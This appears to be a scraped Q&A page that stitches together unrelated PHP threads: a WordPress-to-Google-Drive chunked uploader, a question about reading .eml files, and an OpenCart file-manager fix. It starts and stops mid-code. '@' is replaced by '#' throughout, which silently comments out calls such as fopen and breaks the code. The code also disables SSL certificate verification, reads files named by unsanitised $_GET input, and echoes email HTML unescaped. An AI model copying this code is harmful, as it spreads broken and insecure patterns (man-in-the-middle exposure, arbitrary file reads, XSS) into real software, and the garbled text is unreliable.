if (!$out = #fopen("{$filePath}.part", $chunks ? "ab" : "wb")) {
die('<div class="error"><p>Oops.. error. Failed to open output stream.</p></div>');
}
if (!empty($_FILES)) {
if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {
die('<div class="error"><p>Oops.. error. Failed to move uploaded file.</p></div>');
}
// Read binary input stream and append it to temp file
if (!$in = #fopen($_FILES["file"]["tmp_name"], "rb")) {
die('<div class="error"><p>Oops.. error. Failed to open input stream.</p></div>');
}
} else {
if (!$in = #fopen("php://input", "rb")) {
die('<div class="error"><p>Oops.. error. Failed to open input stream.</p></div>');
}
}
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
#fclose($out);
#fclose($in);
// Check if file has been uploaded
if (!$chunks || $chunk == $chunks - 1) {
// Strip the temp .part suffix off
if($filePath){
rename("{$filePath}.part", $filePath);
}else{
$filePath = $_FILES["file"]["tmp_name"];
}
$gdwpm_opt_imel = 'myemail#gmail.com';
$gdwpm_opt_klaen_aidi = 'myid';
$gdwpm_opt_nama_service = 'uploadservice#m.gserviceaccount.com';
$gdwpm_opt_kunci_rhs = 'UploadFiles-f15596286d09.p12';
$gdwpm_opt_akun = array($gdwpm_opt_imel, $gdwpm_opt_klaen_aidi, $gdwpm_opt_nama_service, $gdwpm_opt_kunci_rhs);
$gdwpm_service = new GDWPMBantuan( $gdwpm_opt_akun[1], $gdwpm_opt_akun[2], $gdwpm_opt_akun[3] );
//$mime_berkas_arr = wp_check_filetype($filename);
$finfo = new finfo;
$mime_berkas_arr['type'] = $finfo->file($filePath, FILEINFO_MIME);
//print_r($mime_berkas_arr);
$mime_berkas = $mime_berkas_arr['type'];
if(empty($mime_berkas)){$mime_berkas = $_FILES['file']['type'];}
$folder_ortu = preg_replace("/[^a-zA-Z0-9]+/", " ", $_POST['gdpwm_nm_br']);
$folder_ortu = trim(($folder_ortu));
$folderId = $_POST['gdpwm_nm_id'];
$nama_polder = $_POST['gdpwm_nm_bks'];
if($folder_ortu != ''){
//cek folder array id namafolder
$last_folder = get_option('gdwpm_new_folder_kecing');
if($folder_ortu != $last_folder[1]){
$folderId = $gdwpm_service->getFolderIdByName( $folder_ortu );
if( $folderId ) { update_option('gdwpm_new_folder_kecing', array($folderId, $folder_ortu)); }
$nama_polder = $folder_ortu;
}else{
$folderId = $last_folder[0];
$nama_polder = $last_folder[1];
}
}
$content = $_POST['gdpwm_sh_ds'];
if( ! $folderId ) {
$folderId = $gdwpm_service->createFolder( $folder_ortu );
$gdwpm_service->setPermissions( $folderId, $gdwpm_opt_akun[0] );
update_option('gdwpm_new_folder_kecing', array($folderId, $nama_polder));
}
if(strpos($mime_berkas_arr['type'], 'image') !== false){
// cek gambar if img auto create thumb .. array('checked', '', '122', '122', 'false');
$gdwpm_img_thumbs = get_option('gdwpm_img_thumbs');
// ITUNG DIMENSI
$image = wp_get_image_editor( $filePath );
if ( !is_wp_error( $image ) ) {
$ukuran_asli = $image->get_size(); // $ukuran_asli['width']; $ukuran_asli['height'];
}
$idthumb_w_h = '';
if ($gdwpm_img_thumbs[0] == 'checked'){
$folderId_thumb = $gdwpm_img_thumbs[1];
if(empty($folderId_thumb) || $folderId_thumb == ''){
//$folderId_thumb = $gdwpm_service->getFolderIdByName( 'gdwpm-thumbnails' );
//if(!$folderId_thumb){
$folderId_thumb = $gdwpm_service->createFolder( 'gdwpm-thumbnails' );
$gdwpm_service->setPermissions( $folderId_thumb, $gdwpm_opt_akun[0] );
//}
$gdwpm_img_thumbs[1] = trim($folderId_thumb);
update_option('gdwpm_img_thumbs', $gdwpm_img_thumbs);
}
if ( $ukuran_asli ) {
if($gdwpm_img_thumbs[4] == 'true'){
$image->resize( $gdwpm_img_thumbs[2], $gdwpm_img_thumbs[3], true );
}else{
$image->resize( $gdwpm_img_thumbs[2], $gdwpm_img_thumbs[3], false );
}
$img = $image->save(); // path, file, mime-type
$filename_thumb = $img['file'];
$filePath_thumb = $img['path'];
$mime_berkas_thumb = $img['mime-type'];
$imgwidth_thumb = $img['width'];
$imgheight_thumb = $img['height'];
}
$fileParent_thumb = new Google_ParentReference();
$fileParent_thumb->setId( $folderId_thumb );
$fileId_thumb = $gdwpm_service->createFileFromPath( $filePath_thumb, $filename_thumb, $content, $fileParent_thumb );
$gdwpm_service->setPermissions( $fileId_thumb, 'me', 'reader', 'anyone' );
$idthumb_w_h = 'thumbId:' . $fileId_thumb . ' thumbWidth:' . $imgwidth_thumb . ' thumbHeight:' . $imgheight_thumb;
}
$gdwpm_sizez_meta = 'selfWidth:' . $ukuran_asli['width'] . ' selfHeight:' . $ukuran_asli['height'] . ' ' . $idthumb_w_h;
#unlink($filename_thumb);
}else{
$gdwpm_sizez_meta = '';
}
$fileParent = new Google_ParentReference();
$fileParent->setId( $folderId );
//$fileId = $gdwpm_service->createFileFromPath( $_FILES["file"]["tmp_name"], $filename, $content, $fileParent );
$fileId = $gdwpm_service->createFileFromPath( $filePath, $filename, $content, $fileParent );
if($fileId){
$gdwpm_service->setPermissions( $fileId, 'me', 'reader', 'anyone' );
if(strpos($mime_berkas_arr['type'], 'image') !== false && !empty($gdwpm_sizez_meta)){
$gdwpm_service->insertProperty($fileId, 'gdwpm-sizes', $gdwpm_sizez_meta);
}
$sukinfo = '';
$metainfo = '';
if(!empty($mime_berkas) && isset($_POST['gdpwm_med_ly']) == '1'){
//gdwpm_ijin_masuk_perpus($mime_berkas, $filename, $fileId, $content, $nama_polder, $gdwpm_sizez_meta, $metainfo);
$sukinfo = ' and added into your Media Library';
}
$to = "myemail#gmail.com";
$subject = "File Uploaded";
$txt = $filename." successfully uploaded to ".$nama_polder;
$headers = "From: webmaster#gmail.com";
mail($to,$subject,$txt,$headers);
echo '<div class="updated"><p>'.$filename.' (<strong>'.$fileId.'</strong>) successfully uploaded to <strong>'.$nama_polder.'</strong>'.$sukinfo.'.</p></div>';
}else{
echo '<div class="error"><p>Failed to upload <strong>'.$filename.'</strong> to Google Drive.</p></div>';
}
#unlink($filePath);
}
?>
gwbp.php
<?php
class GDWPMBantuan {
protected $scope = array('https://www.googleapis.com/auth/drive');
private $_service;
public function __construct( $clientId, $serviceAccountName, $key ) {
$client = new Google_Client();
$client->setApplicationName("Google Drive WP Media");
$client->setClientId( $clientId );
$client->setAssertionCredentials( new Google_AssertionCredentials(
$serviceAccountName,
$this->scope,
$this->getKonten( $key ) )
);
$this->_service = new Google_DriveService($client);
}
public function __get( $name ) {
return $this->_service->$name;
}
public function getKonten( $url ) {
if(function_exists('curl_version')){
$data = curl_init();
curl_setopt($data, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($data, CURLOPT_URL, $url);
curl_setopt($data, CURLOPT_FOLLOWLOCATION,TRUE);
curl_setopt($data, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($data, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($data, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201');
$hasil = curl_exec($data);
curl_close($data);
return $hasil;
}else{
$hasil = file_get_contents(str_replace(' ', '%20', $url));
return $hasil;
}
}
public function getAbout( ) {
return $this->_service->about->get();
}
public function buangFile( $fileId ) {
$result = $this->_service->files->delete($fileId);
if(empty($result)){
return true;
}else{
return false;
}
}
public function getNameFromId( $fileId ) {
$file_proper = $this->_service->files->get($fileId);
$file_name = $file_proper->title;
return $file_name;
}
public function insertProperty($fileId, $key, $value, $visibility = 'PUBLIC') {
if(!empty($value) || $value != ''){
$newProperty = new Google_Property();
$newProperty->setKey($key);
$newProperty->setValue($value);
$newProperty->setVisibility($visibility);
return $this->_service->properties->insert($fileId, $newProperty);
}else{
return false;
}
}
public function createFileFromPath( $path, $fileName, $description, Google_ParentReference $fileParent = null ) {
$finfo = new finfo;
$mimeType['type'] = $finfo->file($path, FILEINFO_MIME);
// $mimeType = wp_check_filetype($fileName);
$file = new Google_DriveFile();
$file->setTitle( $fileName );
$file->setDescription( $description );
$file->setMimeType( $mimeType['type'] );
if( $fileParent ) {
$file->setParents( array( $fileParent ) );
}
// $gdwpm_opsi_chunk = get_option('gdwpm_opsi_chunk');
$gdwpm_opsi_chunk=array('local' => array(
'cekbok' =>'checked',
'chunk' => 700,
'retries' => 3
),
'drive' => array
(
'cekbok' => 'checked',
'chunk' => 2,
'retries' => 3
)
);
$chunks = $gdwpm_opsi_chunk['drive']['chunk'];
$max_retries = (int) $gdwpm_opsi_chunk['drive']['retries'];
$chunkSize = (1024 * 1024) * (int) $chunks; // 2mb chunk
$fileupload = new Google_MediaFileUpload($mimeType['type'], null, true, $chunkSize);
$fileupload->setFileSize(filesize($path));
$mkFile = $this->_service->files->insert($file, array('mediaUpload' => $fileupload));
$status = false;
$handle = fopen($path, "rb");
while (!$status && !feof($handle)) {
$max = false;
for ($i=1; $i<=$max_retries; $i++) {
$chunked = fread($handle, $chunkSize);
if ($chunked) {
$createdFile = $fileupload->nextChunk($mkFile, $chunked);
break;
}elseif($i == $max_retries){
$max = true;
}
}
if($max){
if($createdFile){
$this->_service->files->trash( $createdFile['id'] );
}
$createdFile = false;
break;
}
}
fclose($handle);
if($createdFile){
return $createdFile['id'];
}else{
return false;
}
}
public function createFolder( $name ) {
$file = new Google_DriveFile();
$file->setTitle( $name );
$file->setMimeType( 'application/vnd.google-apps.folder' );
$createdFolder = $this->_service->files->insert($file, array('mimeType' => 'application/vnd.google-apps.folder'));
return $createdFolder['id'];
}
public function setPermissions( $fileId, $value, $role = 'writer', $type = 'user' ) {
$perm = new Google_Permission();
$perm->setValue( $value );
$perm->setType( $type );
$perm->setRole( $role );
return $this->_service->permissions->insert($fileId, $perm);
}
public function getFolderIdByName( $name ) {
$parameters = array('q' => "mimeType = 'application/vnd.google-apps.folder'", 'maxResults' => 50);
$files = $this->_service->files->listFiles($parameters);
foreach( $files['items'] as $item ) {
if( $item['title'] == $name ) {
return $item['id'];
break;
}
}
return false;
}
public function getFilesInFolder($folderId, $maxResults, $pageToken = '', $in_type = 'radio') {
if($in_type == 'radio'){
$div_id = 'hasil';
$id_max = 'maxres';
$id_folid = 'folid';
$id_tblpagi = 'paginasi';
$div_hal = 'halaman';
$div_pagi = 'vaginasi';
$opsi_kecing = 'gdwpm_kecing_hal';
$in_name = 'gdwpm_berkas_terpilih[]';
}elseif($in_type == 'checkbox'){
$div_id = 'hasil_del';
$id_max = 'maxres_del';
$id_folid = 'folid_del';
$id_tblpagi = 'paginasi_del';
$div_hal = 'halaman_del';
$div_pagi = 'vaginasi_del';
$opsi_kecing = 'gdwpm_kecing_hal_del';
$in_name = 'gdwpm_buang_berkas_terpilih[]';
}else{
$in_type = 'checkbox';
$div_id = 'hasil_gal';
$id_max = 'maxres_gal';
$id_folid = 'folid_gal';
$id_tblpagi = 'paginasi_gal';
$div_hal = 'halaman_gal';
$div_pagi = 'vaginasi_gal';
$opsi_kecing = 'gdwpm_kecing_hal_gal';
$in_name = 'gdwpm_berkas_gallery[]';
}
//setup 1st pagetokn is always enpty n create pagintion butt
$haldepan = 1;
////$hal = '<input type="hidden" id="maxres" value="'.$maxResults.'" /><button id="halaman" value="">'.$haldepan.'</button>';
$parameters = array('maxResults' => $maxResults);
$pageTokenInput = $pageToken;
$gdwpm_kecing_hal = get_option($opsi_kecing);
if (empty($pageToken) || $pageToken == '') {
// generate halaman
//if($gdwpm_kecing_hal || !empty($gdwpm_kecing_hal)){
//delete_option($opsi_kecing);
//}
$gdwpm_kecing_hal = array();
$errormes = '';
$halarr = array($haldepan => 'bantuanhalamansatu');
do {
$haldepan++;
try {
if($haldepan == 1){$pageToken = '';} //halman prtama pokoke token kudu kosong
$parameters['pageToken'] = $pageToken;
$children = $this->_service->children->listChildren($folderId, $parameters);
$pageToken = $children->getNextPageToken();
if($pageToken){
//$hal .= ' <button id="halaman" value="'.$pageToken.'">'.$haldepan.'</button>';
$halarr[$haldepan] = $pageToken;
if($haldepan % 10 == 0){sleep(1);}
//}elseif($haldepan > 1){
//cek n buang halman trakir jika kosong
//$parameters['pageToken'] = $halarr[$haldepan - 1];
//$files = $this->_service->children->listChildren($folderId, $parameters);
//$result = array();
//if(count(array_merge($result, $files->getItems())) < 1){
//unset($halarr[$haldepan - 1]);
//}
}
} catch (Exception $e) {
$errormes = "<kbd>An error occurred: " . $e->getMessage() . "</kbd>";
$haldepan -= 1;
$pageToken = $halarr[$haldepan]; //NULL;
sleep(1);
}
} while ($pageToken);
unset($parameters['pageToken']);
$gdwpm_kecing_hal[$folderId] = $halarr;
update_option($opsi_kecing, $gdwpm_kecing_hal);
}else{
$parameters['pageToken'] = $pageToken;
}
$daftarfile = '';
if(count($halarr) <= 1 || $pageToken != ''){
if($pageToken == 'bantuanhalamansatu'){
unset($parameters['pageToken']);
}
$folder_proper = $this->_service->files->get($folderId);
$folder_name = $folder_proper->title;
$i = 0;
$daftarfile = '<div id="'.$div_id.'"><table id="box-table-a" summary="File Folder" class="'.$id_tblpagi.'"><thead><tr><th scope="col"><span class="ui-icon ui-icon-check"></span></th><th scope="col">File ID</th><th scope="col">Title</th><!--<th scope="col">Description</th>--><th scope="col">Size</th><th scope="col">Action</th></tr></thead>';
$children = $this->_service->children->listChildren($folderId, $parameters);
foreach ($children->getItems() as $child) {
$i++; if($i == 1 && $in_type == 'radio'){$checked = 'checked';}else{$checked = '';}
if($maxResults != $i && $maxResults > 30 && $i % 20 == 0){sleep(1);}
$fileId = $child->getId();
$file = $this->_service->files->get($fileId); //getDescription getMimeType
$file_mime = $file->getMimeType();
$file_title = $file->getTitle();
$file_desc = $file->getDescription();
$file_icon = $file->getIconLink();
$file_md5 = $file->getMd5Checksum();
$file_size = size_format($file->getFileSize(), 2);
$file_thumb = $file->getThumbnailLink(); // str_replace('=s220', '=s300', $file->getThumbnailLink());
$view = 'Download';
$file_pptis = '';
if(strpos($file_mime, 'image') !== false){
$view = 'View';
$properties = $this->_service->properties->listProperties($fileId);
$getfile_pptis = $properties->getItems();
if(count($getfile_pptis) > 0){
$file_pptis = $getfile_pptis[0]->getValue();
// selfWidth:xx selfHeight:xx thumbId:xxx thumbWidth:xx thumbHeight:xx
preg_match_all('/(\w+):("[^"]+"|\S+)/', $file_pptis, $matches);
$img_meta = array_combine($matches[1], $matches[2]);
if(array_key_exists('thumbId', $img_meta)){
$file_thumb = 'https://www.googledrive.com/host/' . $img_meta['thumbId'];
}
}
}
$valson = json_encode(array($file_mime, $file_title, $fileId, $file_desc, $folder_name, $file_pptis));
$daftarfile .= '<tbody><tr><td><input type="'.$in_type.'" name="'.$in_name.'" value="'.base64_encode($valson).'" ' . $checked . '></td><td class="kolom_file" title="' . $file_thumb . '">'.$fileId.'</td>';
$daftarfile .= '<td title="' . $file_desc . '"><img src="' . $file_icon . '" title="' . $file_mime . '"> ' . $file_title . '</td>';
$daftarfile .= '<!--<td>' . $file_desc . '</td>-->';
$daftarfile .= '<td title="md5Checksum : ' . $file_md5 . '">' . $file_size . '</td>';
$daftarfile .= '<td>' . $view . ' | Preview</td></tr>';
}
$daftarfile .= '</tbody></table></div><br/>';
}
// merangkai paginasi soretempe
$range = 5;
$showitems = ($range * 2)+1;
$hal_folderid = $gdwpm_kecing_hal[$folderId];
$halterlihat = array_search($pageToken, $hal_folderid);
if(empty($halterlihat)){$halterlihat = 1;}
$totalhal = count($hal_folderid);
if(1 != $totalhal)
{
$halsiap = '<input type="hidden" id="'.$id_max.'" value="'.$maxResults.'" /><input type="hidden" id="'.$id_folid.'" value="'.$folderId.'" />';
if($halterlihat > 2 && $halterlihat > $range+1 && $showitems < $totalhal) $halsiap .= '<button id="'.$div_hal.'" value="'.$hal_folderid[1].'">«</button>';
if($halterlihat > 1 && $showitems < $totalhal) $halsiap .= '<button id="'.$div_hal.'" value="'.$hal_folderid[$halterlihat - 1].'">‹</button>';
for ($j=1; $j <= $totalhal; $j++)
{
if (1 != $totalhal &&( !($j >= $halterlihat+$range+1 || $j <= $halterlihat-$range-1) || $totalhal <= $showitems ))
{
if($halterlihat == $j && $pageTokenInput != ''){$disable_butt = ' disabled';}else{$disable_butt = '';}
$halsiap .= '<button id="'.$div_hal.'" value="'.$hal_folderid[$j].'"'.$disable_butt.'>'.$j.'</button>';
}
}
if ($halterlihat < $totalhal && $showitems < $totalhal) $halsiap .= '<button id="'.$div_hal.'" value="'.$hal_folderid[$halterlihat + 1].'">›</button>';
if ($halterlihat < $totalhal-1 && $halterlihat+$range-1 < $totalhal && $showitems < $totalhal) $halsiap .= '<button id="'.$div_hal.'" value="'.$hal_folderid[$totalhal].'">»</button>';
}
$vaginasi = '<div id="'.$div_pagi.'">'.$halsiap.'</div>';
$daftarfile .= $vaginasi;
if($i == 0 && $totalhal > 1 && $halterlihat == $totalhal){$daftarfile = $vaginasi;}
return array($daftarfile, $i, $totalhal, $halterlihat);//, $halterlihat, $totalhal);//items, items onpage, currentpage, totalpage
}
}
?>
As discussed in Upload Files, for reliable transfer especially important with larger files, using Resumable upload is a good strategy to use for most applications, since it also works for smaller files at the cost of one additional HTTP request per upload.
Additionally, apps that use resumable upload need to have code to resume an interrupted upload. If an upload is interrupted, find out how much data was successfully received, and then resume the upload starting from that point which is one of the good advantages of this uploading type.
For more information and steps in using resumable upload, kindly try going through given documentations above.

Read .eml file using php

I have the php script as shown below. I want to ask that using this script how can i read normal .eml file as we read in gmail or yahoo? how can i get attachments from it ?
<?php
/**
*
* This code has been written by Alexis Ulrich (http://alx2002.free.fr)
* This code is in the public domain.
*
*/
define(EML_FILE_PATH,'');
define(PICTURE_DIRECTORY_PATH,'img/');
// gets parameters
$images = substr($_GET['images'],0,5);
$filename = substr($_GET['filename'],0,50);
if ($filename == '') $filename = 'toto.eml';
$eml_file = EML_FILE_PATH.$filename;
// opens file
if (!($content = fread(fopen(EML_FILE_PATH.$filename, 'r'), filesize(EML_FILE_PATH.$filename))))
die('File not found ('.EML_FILE_PATH.$filename.')');
// two kinds of separators
if (strpos($content,'------_') !== false) $separator = '------_';
else $separator = '------=_';
$aContent = explode($separator,$content);
$aImages = array();
foreach($aContent as $thisContent) {
if (strpos($thisContent,'Content-Type: text/html') !== false) {
// email HTML body
$thisContent = substr($thisContent,strpos($thisContent,'<!DOCTYPE'));
$thisHTMLContent = quoted_printable_decode($thisContent);
//echo "<hr>$thisHTMLContent<hr>\n\n";
}
if (strpos($thisContent,'Content-Type: image/gif;') !== false) {
// base64 gif picture
$begin = strpos($thisContent,'Content-ID: <') + 13;
$long = strpos(substr($thisContent,strpos($thisContent,'Content-ID: <') + 13),'>');
$img_id = substr($thisContent,$begin,$long);
$img_name = substr($thisContent,strpos($thisContent,'name="')+6,strpos($thisContent,'.gif"')-strpos($thisContent,'name="')-6);
if (strpos($thisContent,'Content-Location: ') !== false) {
$img_location = substr($thisContent,strpos($thisContent,'Content-Location: ')+18);
$img_location = substr($img_location,0,strpos($img_location,'.gif'));
$searched = 'Content-Location: ' . $img_location . '.gif';
$img_base64 = substr($thisContent,strpos($thisContent,$searched)+strlen($searched));
}
else {
$img_location = $img_name;
$searched = 'Content-ID: <' . $img_id . '>';
$Content_ID_pos = strpos($thisContent,'Content-ID: <');
$end_content = substr($thisContent,$Content_ID_pos);
$end_Content_ID_pos = strpos($end_content,'>');
$img_base64 = substr($end_content,$end_Content_ID_pos + 1);
}
$aThisImage = array('id'=>$img_id, 'name'=>$img_name, 'location'=>$img_location, 'type'=>'gif', 'base64'=>$img_base64);
//print_r($aThisImage);
$aImages[] = $aThisImage;
}
if (strpos($thisContent,'Content-Type: image/jpeg;') !== false) {
// base64 jpg picture
$begin = strpos($thisContent,'Content-ID: <') + 13;
$long = strpos(substr($thisContent,strpos($thisContent,'Content-ID: <') + 13),'>');
$img_id = substr($thisContent,$begin,$long);
$img_name = substr($thisContent,strpos($thisContent,'name="')+6,strpos($thisContent,'.jpg"')-strpos($thisContent,'name="')-6);
if (strpos($thisContent,'Content-Location: ') !== false) {
$img_location = substr($thisContent,strpos($thisContent,'Content-Location: ')+18);
$img_location = substr($img_location,0,strpos($img_location,'.jpg'));
$searched = 'Content-Location: ' . $img_location . '.jpg';
$img_base64 = substr($thisContent,strpos($thisContent,$searched)+strlen($searched));
}
else {
$img_location = $img_name;
$searched = 'Content-ID: <' . $img_id . '>';
$Content_ID_pos = strpos($thisContent,'Content-ID: <');
$end_content = substr($thisContent,$Content_ID_pos);
$end_Content_ID_pos = strpos($end_content,'>');
$img_base64 = substr($end_content,$end_Content_ID_pos + 1);
}
$aThisImage = array('id'=>$img_id, 'name'=>$img_name, 'location'=>$img_location, 'type'=>'jpg', 'base64'=>$img_base64);
$aImages[] = $aThisImage;
}
}
//print_r($aImages);
foreach($aImages as $image) {
if ($images == 'filed') {
// image file creation
if (!file_exists(PICTURE_DIRECTORY_PATH."$image[location].$image[type]")) {
if (!$handle = fopen (PICTURE_DIRECTORY_PATH."$image[location].$image[type]", "wb"))
die("Cannot open file (".PICTURE_DIRECTORY_PATH."$image[location].$image[type])");
if (!fwrite($handle, base64_decode($image[base64])))
die("Cannot write into file (".PICTURE_DIRECTORY_PATH."$image[location].$image[type])");
fclose($handle);
}
$thisHTMLContent = str_replace('cid:'.$image['id'],PICTURE_DIRECTORY_PATH."$image[location].$image[type]",$thisHTMLContent);
}
else {
// images to be created on the fly
$imageLocation = urlencode($image[location]);
$file = urlencode($eml_file);
$thisHTMLContent = str_replace('cid:'.$image['id'],"viewImage.php?imageLocation=$imageLocation&file=$file",$thisHTMLContent);
}
$thisHTMLContent = preg_replace("/<IMG HEIGHT=(\d*)/i","<img ",$thisHTMLContent);
// no base href referring to local file
$thisHTMLContent = preg_replace("/href=\"file(.*)\"/i","",$thisHTMLContent);
}
echo $thisHTMLContent;
?>
Thanks in advance and would hope to receive reply soon.

Opencart product import image is not working

Hy all,
I'm working on an import of more than 30.000 products from an old webshop system to my OpenCart application.
I've got the categories working, and the products, but there is only 1 thing that i can't fix. That is that there's no image.
I've uploaded all images in OpenCartRoot/image/data/old/tt_productsv2/images/
In the database, it is inserted:
image/old/tt_productsv2/images/greatest.jpg
I've confirmed that that image exist, but when i check the front-end page, there are no images. Also when i check the back-end, i don't see any image linked to the product.
So my question is, what wrong I have done? Why isn't the image linked to the product, although i inserted the link in the database...
The path to the image in the database should only be
old/tt_productsv2/images/greatest.jpg
as OpenCart will build the path like
DIR_IMAGE . 'old/tt_productsv2/images/greatest.jpg'
where DIR_IMAGE is defined like
define('DIR_IMAGE', '/path/to/web/root/image/');
Yes, this is a problem with GLOBAL_BRACE Constant.
Some servers do not support that constant value, so you can change the
server or change the code.
The code is in:
admin / controller / common/ filemanager.php
line No : 37 ===================================================================
<?php
class ControllerCommonFileManager extends Controller {
public function index() {
$this->load->language('common/filemanager');
if (isset($this->request->get['filter_name'])) {
$filter_name = rtrim(str_replace(array('../', '..\\', '..', '*'), '', $this->request->get['filter_name']), '/');
} else {
$filter_name = null;
}
// Make sure we have the correct directory
if (isset($this->request->get['directory'])) {
$directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this->request->get['directory']), '/');
} else {
$directory = DIR_IMAGE . 'catalog';
}
if (isset($this->request->get['page'])) {
$page = $this->request->get['page'];
} else {
$page = 1;
}
$data['images'] = array();
$this->load->model('tool/image');
// Get directories
$directories = glob($directory . '/' . $filter_name . '*', GLOB_ONLYDIR);
if (!$directories) {
$directories = array();
}
// Get files
// $files = glob($directory . '/' . $filter_name . '*.{jpg,jpeg,png,gif,JPG,JPEG,PNG,GIF}', GLOB_BRACE);
$files1 = glob($directory . '/' . $filter_name . '*.jpg');
if (!$files1) {
$files1 = array();
}
$files2 = glob($directory . '/' . $filter_name . '*.jpeg');
if (!$files2) {
$files2 = array();
}
$files3 = glob($directory . '/' . $filter_name . '*.JPG');
if (!$files3) {
$files3 = array();
}
$files4 = glob($directory . '/' . $filter_name . '*.png');
if (!$files4) {
$files4 = array();
}
$files5 = glob($directory . '/' . $filter_name . '*.JPEG');
if (!$files5) {
$files5 = array();
}
$files6 = glob($directory . '/' . $filter_name . '*.PNG');
if (!$files6) {
$files6 = array();
}
$files7 = glob($directory . '/' . $filter_name . '*.GIF');
if (!$files7) {
$files7 = array();
}
$files8 = glob($directory . '/' . $filter_name . '*.gif');
if (!$files8) {
$files8 = array();
}
$files = array_merge($files1, $files2,$files3,$files4,$files5,$files6,$files7,$files8);
// Merge directories and files
$images = array_merge($directories, $files);
// Get total number of files and directories
$image_total = count($images);
// Split the array based on current page number and max number of items per page of 10
$images = array_splice($images, ($page - 1) * 16, 16);
foreach ($images as $image) {
$name = str_split(basename($image), 14);
if (is_dir($image)) {
$url = '';
if (isset($this->request->get['target'])) {
$url .= '&target=' . $this->request->get['target'];
}
if (isset($this->request->get['thumb'])) {
$url .= '&thumb=' . $this->request->get['thumb'];
}
$data['images'][] = array(
'thumb' => '',
'name' => implode(' ', $name),
'type' => 'directory',
'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
'href' => $this->url->link('common/filemanager', 'token=' . $this->session->data['token'] . '&directory=' . urlencode(utf8_substr($image, utf8_strlen(DIR_IMAGE . 'catalog/'))) . $url, true)
);
} elseif (is_file($image)) {
// Find which protocol to use to pass the full image link back
if ($this->request->server['HTTPS']) {
$server = HTTPS_CATALOG;
} else {
$server = HTTP_CATALOG;
}
$data['images'][] = array(
'thumb' => $this->model_tool_image->resize(utf8_substr($image, utf8_strlen(DIR_IMAGE)), 100, 100),
'name' => implode(' ', $name),
'type' => 'image',
'path' => utf8_substr($image, utf8_strlen(DIR_IMAGE)),
'href' => $server . 'image/' . utf8_substr($image, utf8_strlen(DIR_IMAGE))
);
}
}
$data['heading_title'] = $this->language->get('heading_title');
$data['text_no_results'] = $this->language->get('text_no_results');
$data['text_confirm'] = $this->language->get('text_confirm');
$data['entry_search'] = $this->language->get('entry_search');
$data['entry_folder'] = $this->language->get('entry_folder');
$data['button_parent'] = $this->language->get('button_parent');
$data['button_refresh'] = $this->language->get('button_refresh');
$data['button_upload'] = $this->language->get('button_upload');
$data['button_folder'] = $this->language->get('button_folder');
$data['button_delete'] = $this->language->get('button_delete');
$data['button_search'] = $this->language->get('button_search');
$data['token'] = $this->session->data['token'];
if (isset($this->request->get['directory'])) {
$data['directory'] = urlencode($this->request->get['directory']);
} else {
$data['directory'] = '';
}
if (isset($this->request->get['filter_name'])) {
$data['filter_name'] = $this->request->get['filter_name'];
} else {
$data['filter_name'] = '';
}
// Return the target ID for the file manager to set the value
if (isset($this->request->get['target'])) {
$data['target'] = $this->request->get['target'];
} else {
$data['target'] = '';
}
// Return the thumbnail for the file manager to show a thumbnail
if (isset($this->request->get['thumb'])) {
$data['thumb'] = $this->request->get['thumb'];
} else {
$data['thumb'] = '';
}
// Parent
$url = '';
if (isset($this->request->get['directory'])) {
$pos = strrpos($this->request->get['directory'], '/');
if ($pos) {
$url .= '&directory=' . urlencode(substr($this->request->get['directory'], 0, $pos));
}
}
if (isset($this->request->get['target'])) {
$url .= '&target=' . $this->request->get['target'];
}
if (isset($this->request->get['thumb'])) {
$url .= '&thumb=' . $this->request->get['thumb'];
}
$data['parent'] = $this->url->link('common/filemanager', 'token=' . $this->session->data['token'] . $url, true);
// Refresh
$url = '';
if (isset($this->request->get['directory'])) {
$url .= '&directory=' . urlencode($this->request->get['directory']);
}
if (isset($this->request->get['target'])) {
$url .= '&target=' . $this->request->get['target'];
}
if (isset($this->request->get['thumb'])) {
$url .= '&thumb=' . $this->request->get['thumb'];
}
$data['refresh'] = $this->url->link('common/filemanager', 'token=' . $this->session->data['token'] . $url, true);
$url = '';
if (isset($this->request->get['directory'])) {
$url .= '&directory=' . urlencode(html_entity_decode($this->request->get['directory'], ENT_QUOTES, 'UTF-8'));
}
if (isset($this->request->get['filter_name'])) {
$url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
}
if (isset($this->request->get['target'])) {
$url .= '&target=' . $this->request->get['target'];
}
if (isset($this->request->get['thumb'])) {
$url .= '&thumb=' . $this->request->get['thumb'];
}
$pagination = new Pagination();
$pagination->total = $image_total;
$pagination->page = $page;
$pagination->limit = 16;
$pagination->url = $this->url->link('common/filemanager', 'token=' . $this->session->data['token'] . $url . '&page={page}', true);
$data['pagination'] = $pagination->render();
$this->response->setOutput($this->load->view('common/filemanager', $data));
}
public function upload() {
$this->load->language('common/filemanager');
$json = array();
// Check user has permission
if (!$this->user->hasPermission('modify', 'common/filemanager')) {
$json['error'] = $this->language->get('error_permission');
}
// Make sure we have the correct directory
if (isset($this->request->get['directory'])) {
$directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this->request->get['directory']), '/');
} else {
$directory = DIR_IMAGE . 'catalog';
}
// Check its a directory
if (!is_dir($directory)) {
$json['error'] = $this->language->get('error_directory');
}
if (!$json) {
if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
// Sanitize the filename
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
// Validate the filename length
if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 255)) {
$json['error'] = $this->language->get('error_filename');
}
// Allowed file extension types
$allowed = array(
'jpg',
'jpeg',
'gif',
'png'
);
if (!in_array(utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)), $allowed)) {
$json['error'] = $this->language->get('error_filetype');
}
// Allowed file mime types
$allowed = array(
'image/jpeg',
'image/pjpeg',
'image/png',
'image/x-png',
'image/gif'
);
if (!in_array($this->request->files['file']['type'], $allowed)) {
$json['error'] = $this->language->get('error_filetype');
}
// Return any upload error
